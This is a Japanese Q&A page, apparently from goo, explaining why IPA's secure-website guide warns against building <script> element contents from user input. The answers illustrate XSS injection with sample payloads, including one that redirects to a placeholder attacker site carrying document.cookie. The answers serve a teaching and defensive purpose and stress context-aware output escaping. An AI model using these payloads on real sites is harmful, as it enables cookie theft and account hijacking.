▽安全なウェブサイトの作り方
http://www.ipa.go.jp/security/vuln/documents/web …
><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります
・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>
No.2ベストアンサー
- 回答日時:
攻撃の容易性でしょう。
この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。
埋め込み方法ですが、以下の様な生成をするサイトの場合なら
入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>
そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。
入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>
引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。
No.3
- 回答日時:
主にサーバーサイドの話でしょう
例えば簡易掲示板で、名前をクリックすると本文がalertされるものを作ったとします
そこで
alert("内容")
とすると
内容が
「"+(function(){code})()+"」だと
aler("t"+(function(){code})()+"")
となって任意のコードを埋め込まれてしまうということです
本人が書き込んだ内容を本人のみに適応する場合はいいですが
第三者も見えるHTMLコードになる場合は気をつけてください
No.1
- 回答日時:
ものすごく単純化しますが、
・script 要素生成テンプレート:
<script>alert('あなたの名前は$nameです。');</script>
・利用者から入力されたデータ(1):
$name = "太郎"
→ <script>alert('あなたの名前は太郎です。');</script>
・利用者から入力されたデータ(2):
$name = "');var s=document.cookie;('"
→ <script>alert('あなたの名前は');var s=document.cookie;('です。');</script>
・利用者から入力されたデータ(3):
$name = "')</script><p>おはよう</p>"
→ <script>alert('あなたの名前は')</script><p>おはよう</p>です。');</script>
(2) のようにして Cookie にアクセスできました。もちろん、このままでは Cookie 制限により他のドメインに紐付けられたデータを見ることはできませんが、危険であることに変わりありません。また、(3) は勝手に script 要素を終わらせ、任意の文字列を出力させています。
この場合、$name を「HTML の script 要素内に埋め込まれる JavaScript に適した形」にエスケープする必要がありました。結構、ややこしい話なのですよ。例えば、script 要素内で "</script>" をどうやってエスケープしますか? 他の "</p>" のようなタグは? あるいは、今回は幸い(?) JavaScript の文字列への出力なので比較的楽なのですが、では文字列の形式を崩さないようにするには?
そういう文法知識が曖昧なら、やらない方が無難です。まあ、上記のような名前程度なら、入力段階で "=" のような「名前に不適な文字」を刎ねてしまっても構いませんが。
そもそも論として、スクリプト云々に関係なく、データを出力する際は必ず「出力する文脈に合わせて」データをエスケープしなければなりません。データ入力時点の「サニタイズ」で事が済むと思っている人が今でも多いですが、間違いです。
お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!
関連するカテゴリからQ&Aを探す
おすすめ情報
- ・漫画をレンタルでお得に読める!
- ・人生のプチ美学を教えてください!!
- ・10秒目をつむったら…
- ・あなたの習慣について教えてください!!
- ・牛、豚、鶏、どれか一つ食べられなくなるとしたら?
- ・【大喜利】【投稿~9/18】 おとぎ話『桃太郎』の知られざるエピソード
- ・街中で見かけて「グッときた人」の思い出
- ・「一気に最後まで読んだ」本、教えて下さい!
- ・幼稚園時代「何組」でしたか?
- ・激凹みから立ち直る方法
- ・1つだけ過去を変えられるとしたら?
- ・【あるあるbot連動企画】あるあるbotに投稿したけど採用されなかったあるある募集
- ・【あるあるbot連動企画】フォロワー20万人のアカウントであなたのあるあるを披露してみませんか?
- ・映画のエンドロール観る派?観ない派?
- ・海外旅行から帰ってきたら、まず何を食べる?
- ・誕生日にもらった意外なもの
- ・天使と悪魔選手権
- ・ちょっと先の未来クイズ第2問
- ・【大喜利】【投稿~9/7】 ロボットの住む世界で流行ってる罰ゲームとは?
- ・推しミネラルウォーターはありますか?
- ・都道府県穴埋めゲーム
- ・この人頭いいなと思ったエピソード
- ・準・究極の選択
デイリーランキングこのカテゴリの人気デイリーQ&Aランキング
-
「関数が定義されていない」と...
-
こんにちは、javascript初心者...
-
JavaScript関数呼出し元の要素...
-
onbeforeunload時のwindow.open...
-
毎回、ページ読み込み時に1回...
-
JavaScriptを使う時は、
-
<a href="#" …>の意味を教えて...
-
javascriptとApacheの設定
-
カウントダウンとカウントアッ...
-
ブラウザをJavaScriptで最小化…
-
bodyにidをつける理由は何ですか?
-
Canvasを使って描画して面積取得
-
JavaScriptのエラー ( 関数の...
-
HTMLタグ 画面サイズを指定
-
CGIフォーム一定時間過ぎる...
-
フレーム越しの背景色変換
-
外部JSでサブウィンドウを設定...
-
LYCOS(WiseNut)のプレビュー機...
-
$という文字が使えない?
-
text/JScript.EncodeはMacIE5で...
マンスリーランキングこのカテゴリの人気マンスリーQ&Aランキング
-
JavaScriptからVBScriptの呼び...
-
ウインドウの後ろに隠れている...
-
毎回、ページ読み込み時に1回...
-
Vbscriptで自分自身のウィンド...
-
onbeforeunload時のwindow.open...
-
datepickerで日付の値を取得したい
-
Cygwinでログをのこす方法
-
右クリックを左クリックと同じ...
-
ASPで取得した情報をscriptタグ...
-
文字を入れ替わり表示させたい...
-
JavaScriptを使う時は、
-
undefinedが表示されてしまう
-
ブラウザの「戻る」ボタンを押...
-
javascriptでbgmを自動再生する...
-
<aタグで変数に文字を代入
-
scriptエラー?
-
Java ScriptでIPによるアクセス...
-
<script>...</script> 要素の内
-
showModalDialogで開いた画面か...
-
javaからcgiの呼び出し
おすすめ情報